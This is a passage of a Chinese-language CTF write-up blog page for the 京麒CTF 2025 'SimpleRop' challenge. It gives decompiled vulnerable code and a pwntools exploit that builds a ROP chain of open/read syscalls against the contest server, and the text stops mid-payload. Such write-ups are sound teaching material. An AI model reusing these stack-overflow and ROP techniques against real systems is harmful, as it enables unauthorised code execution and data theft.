<!DOCTYPE html>
<html id="_top" lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><meta name="color-scheme" content="light dark"/><meta name="language" content="zh-CN"/><title>京麒CTF 2025 热身赛 WriteUp | 花盆</title><meta name="author" content="LittFlower"/><meta name="description" content="京麒CTF 2025 热身赛 WriteUp"/><meta property="og:type" content="article"/><meta property="og:title" content="京麒CTF 2025 热身赛 WriteUp | 花盆"/><meta property="og:url" content="https://blog.littflower.top/writeups/jinglinctf2025-writeup/README.mdx"/><meta property="og:description" content="京麒CTF 2025 热身赛 WriteUp"/><meta property="og:site_name" content="花盆"/><meta property="og:locale" content="zh-CN"/><meta name="twitter:card" content="summary"/><meta name="twitter:title" content="京麒CTF 2025 热身赛 WriteUp | 花盆"/><meta name="twitter:description" content="京麒CTF 2025 热身赛 WriteUp"/><link rel="canonical" href="https://blog.littflower.top/writeups/jinglinctf2025-writeup/README.mdx"/><link rel="alternate" type="application/rss+xml" title="花盆" href="/rss.xml"/><script>(function () {
    var storageKey = "theme";
    var root = document.documentElement;
    var theme = "light";
    try {
      var stored = window.localStorage.getItem(storageKey);
      if (stored === "light" || stored === "dark") {
        theme = stored;
      } else if (
        typeof window.matchMedia === "function" &&
        window.matchMedia("(prefers-color-scheme: dark)").matches
      ) {
        theme = "dark";
      }
    } catch (_) {}
    root.setAttribute("data-theme", theme);
  })();</script><script defer src="/theme.js?v=d3b88eea84"></script><link rel="preload" as="style" href="/style.css" type="text/css"/><link rel="preload" as="style" href="/fonts.css" type="text/css"/><link rel="stylesheet" href="/style.css" type="text/css"/><link rel="stylesheet" href="/fonts.css" type="text/css"/></head><body><nav aria-label="页面导航" class="top-bar fullwidth"><div class="top-bar-inner fullwidth"><div class="top-bar-group"><a href="/" aria-label="root" class="file-link"><img src="/icons/dir.png" alt width="20" height="22" aria-hidden="true" decoding="async" loading="eager" class="icon icon--dir"/><span>/</span></a><a href=".." aria-label="parent" class="file-link"><img src="/icons/dir.png" alt width="20" height="22" aria-hidden="true" decoding="async" loading="eager" class="icon icon--dir"/><span>..</span></a></div><div class="top-bar-group"><a href="#_content" class="top-bar-link"><code class="hash inline-code">#</code>内容</a><a href="#_top" class="top-bar-link"><code class="hash inline-code">#</code>回到顶部</a><button type="button" data-theme-toggle="true" aria-pressed="false" title="切换为深色主题" class="theme-toggle"><code aria-hidden="true" class="hash inline-code">#</code>  <span data-theme-toggle-label="true" class="theme-toggle-label">浅色主题</span></button></div></div></nav><div class="page-shell"><nav aria-label="当前目录文件" class="page-files"></nav><main class="page-main page-main--toc"><article id="_content" style="scroll-margin-top:48px;" class="page-article"><h1 id="京麒ctf-2025-热身赛-writeup" class="scroll-target"><a href="#%E4%BA%AC%E9%BA%92ctf-2025-%E7%83%AD%E8%BA%AB%E8%B5%9B-writeup"><code class="hash inline-code">#</code>京麒CTF 2025 热身赛 WriteUp</a></h1>
<h2 id="simplerop" class="scroll-target"><a href="#simplerop"><code class="hash inline-code">#</code>SimpleRop</a></h2>
<p>保护：</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-text">Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
</code></pre></div>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-c language-c"><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">__int64 </span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">init</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">  setvbuf</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stdout, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">LL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">LL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">LL</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">  setvbuf</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stdin, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">LL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">LL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">LL</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">  setvbuf</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stderr, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">LL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">LL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">LL</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  return</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> close</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">LL</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">__int64 __fastcall </span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">vuln</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">__int64 </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">a1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, __int64 </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">a2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  __int64 v2;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> // rdx</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  __int64 v3;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> // rcx</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  __int64 v4;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> // r8</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  __int64 v5;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> // r9</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  unsigned</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> v7;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> // [rsp+0h] [rbp-40h]</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  __int64 v8;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> // [rsp+8h] [rbp-38h] BYREF</span><br><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">  random_fd</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  v7 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> dup</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">LL</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">  close</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">LL</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">  random_fd</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">  seccomp_orw_only</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">LL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, a2, v2, v3, v4, v5</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">  // sandbox</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">  write</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">v7, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"Let me see see your rop skill</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1E</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uLL</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  return</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> read</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">LL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">v8, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1024</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">LL</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">  // stack overflow</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br></code></pre></div>
<p>题目给了几乎无限的栈溢出，但是只能打 orw，且程序 <code class="inline-code">close</code> 了 1，2，而且在 <code class="inline-code">dup</code> 前后随机申请了若干个 fd，但是 <code class="inline-code">v7</code> 作为 <code class="inline-code">dup</code> 出来的 fd 并没有 close，所以还是可以打。</p>
<p>有两种写法，第一种是用妙妙 gadget 把 v7 的那个值存下来：</p>
<p>gadget1:</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-text">0x0000000000448c55: mov rdi, qword ptr [r12]; call rbx;
</code></pre></div>
<p>gadget2:</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-text">0x0000000000427720: mov rdx, qword ptr [rsi - 8]; mov qword ptr [rdi - 8], rdx; ret;
</code></pre></div>
<p>选择这个 gadget2 是因为注意到程序在溢出时 rsi 寄存器上存放了 <code class="inline-code">v7</code> 的栈地址 + 8。</p>
<p>第二种是用爆破的思路（daimi 师傅的写法）</p>
<p>简单来说就是用 <code class="inline-code">leave; ret</code> 实现 <code class="inline-code">jmp</code> 的效果，从而爆破 fd。</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-python language-python"><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">from</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> sys </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">import</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> argv</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "./pwn1"</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">context.log_level </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "debug"</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">context.binary </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> proc</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">elf </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ELF</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">checksec</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">False</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> remote</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"39.106.16.204"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">62123</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> argv</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'r'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> else</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> process</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> args.G:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    gdb.attach</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"""</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    b *0x401afc</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    """</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rdi_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">00000000004021cf</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rsi_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">000000000040a23e</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rdx_rbx_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">000000000047fbab</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rax_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">00000000004487a7</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">syscall </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000000000414f46</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">main </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">401AE2</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">mov_rdi_rax_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000000000480192</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_r12_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">000000000040262d</span><br><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># 0x0000000000427720: mov rdx, qword ptr [rsi - 8]; mov qword ptr [rdi - 8], rdx; ret;</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># 0x0000000000448c55: mov rdi, qword ptr [r12]; call rbx;</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># 0x000000000046d4d3: mov eax, 1; ret;</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rcx_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000000000471183</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">magic </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000000000427720</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">mov_rdi_r12_call </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">448c55</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rbx_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000000000401c00</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">write </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">447C20</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">mov_rax_r8_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">44ac44</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">mov_eax_1_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">46d4d3</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"a"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 64</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> flat</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rdi_ret, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4c9608</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, magic</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> flat</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rdi_ret, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rsi_ret, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4c9000</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rdx_rbx_ret, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">30</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rax_ret, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, syscall</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># read</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> flat</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rdi_ret, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4c9000</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rsi_ret, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rax_ret, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rdx_rbx_ret, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, syscall</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># open</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> flat</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">mov_rdi_rax_ret, pop_rsi_ret, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4c9500</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rdx_rbx_ret, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">50</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rax_ret, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, syscall</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># read</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> flat</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_r12_ret, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4c9600</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, pop_rbx_ret, write, mov_rdi_r12_call</span><span 